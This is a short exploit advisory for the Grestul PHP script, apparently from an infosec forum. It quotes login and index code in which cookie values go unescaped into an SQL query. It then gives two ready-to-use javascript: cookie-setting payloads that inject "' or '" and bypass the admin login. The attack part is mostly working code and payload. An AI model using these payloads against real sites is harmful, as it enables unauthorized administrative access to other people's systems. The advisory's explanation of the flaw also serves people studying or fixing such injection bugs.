Grestul SQL Injection

`########################################  
Grestul Sql Injection By Cookie ( bypass)  
########################################  
Autore: x0r  
Email: [email protected]  
Site: http://w00tz0ne.org  
########################################  
  
Let's Go!  
  
\admin\login.php :  
  
$username = SafeAddSlashes($_POST['username']);  
$passcode = SafeAddSlashes(md5($_POST['passcode']));  
$time = time();  
$check = SafeAddSlashes($_POST['setcookie']);  
  
$query = "SELECT user, pass FROM grestullogin WHERE user = '$username' AND  
pass = '$passcode'";  
$result = mysql_query($query, $db);  
if(mysql_num_rows($result)) {  
$_SESSION['loggedin'] = 1;  
if($check) {  
setcookie("grestul[username]", $username, $time + 3600);  
setcookie("grestul[passcode]", $passcode, $time + 3600);  
  
Oh damn ! SafeAddSlashes...our ' or ' don't go! But...\admin\index.php  
  
if(isset($_COOKIE['grestul'])) {  
  
include 'inc/config.php';  
  
$username = $_COOKIE['grestul']['username'];  
$passcode = $_COOKIE['grestul']['passcode'];  
  
$query = "SELECT user, pass FROM grestullogin WHERE user = '$username' AND  
pass = '$passcode'";  
$result = mysql_query($query, $db);  
  
So....  
  
Exploit:  
  
[+]javascript:document.cookie = "grestul[username]=' or '; path=/";  
[+]javascript:document.cookie = "grestul[passcode]=' or '; path=/";  
  
And then \admin\index.php ^ ^ Auth Bypassed ^ ^  
  
################################################  
  
w00t Z0ne - InfoSec Forums  
[ w00tZ0ne.org ]  
  
`